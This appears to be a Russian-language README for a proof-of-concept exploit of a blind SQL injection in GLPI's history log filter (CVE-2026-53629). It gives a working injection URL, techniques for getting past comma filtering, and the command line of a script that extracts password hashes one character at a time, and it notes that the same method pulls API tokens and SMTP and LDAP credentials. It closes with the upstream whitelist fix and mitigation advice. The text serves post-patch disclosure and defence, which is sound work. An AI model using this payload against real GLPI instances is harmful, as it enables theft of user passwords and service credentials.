
PoC для CVE-2026-53629, слепая SQL-инъекция в фильтре журнала истории GLPI
Слепая SQL-инъекция в фильтре журнала истории GLPI. CVE-2026-53629, исправлена в 11.0.8 и 10.0.26, уязвимость существует с 9.4.0.
Требуется любая учётная запись с правом READ для logs. В стандартном профиле «Только чтение» оно есть.
Бюллетень: GHSA-cpcj-x335-5cmh Разбор: как я её нашёл
Log::convertFiltersValuesToSqlCriteria() разбивает фильтр affected_fields на key:operator:values. Патч для CVE-2026-29047 проводил валидацию оператора и приводил индекс массива, но $key оставил нетронутым.
DBmysqlIterator::analyseCrit() не оборачивает , и в кавычки как имена столбцов. Он рекурсивно обходит их значения, и эта рекурсия завершается в устаревшей ветке, которая возвращает обычные строки как «сырой» SQL.
ORANDNOTТаким образом, OR в качестве ключа подставляет что угодно в предложение WHERE:
/front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5)
SELECT * FROM `glpi_logs`
WHERE `items_id` = '0' AND `itemtype` = 'Entity'
AND (((((1 AND sleep(5))))))
Вкладка истории делает то же самое через filters[affected_fields][0].
explode(',', $values) ломает всё, что содержит запятую, поэтому SUBSTRING(s,1,1) и IF(a,b,c) отпадают. Подходят CASE WHEN ... THEN ... ELSE ... END и MID(s FROM n FOR 1). Шестнадцатеричные литералы вместо кавычек: 0x676c7069 — это glpi.
Полезная нагрузка выполняется по одному разу на каждую строку в glpi_logs, поэтому sleep умножается. Шесть строк со sleep(5) — это 30 секунд. На реальном инстансе уменьшите до 0.1, иначе запрос не вернётся.
pip install requests
python3 glpi_sqli_extract.py http://glpi.lab.local -u readonly -p readonly
Читает glpi_users.password по одному символу за раз бинарным поиском. --id — для другого пользователя, --sleep и --threshold — для более медленных целей.
Тот же приём читает api_token, personal_token, а также учётные данные SMTP и LDAP в glpi_configs.
Обновитесь. Если это невозможно, уберите право READ для logs у профилей, которым оно не нужно. Апстрим включил ключ в белый список:
$allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link'];
if (!in_array($key, $allowed_keys, true)) {
continue;
}
Опубликовано уже после выхода исправления. Не запускайте на чужих системах.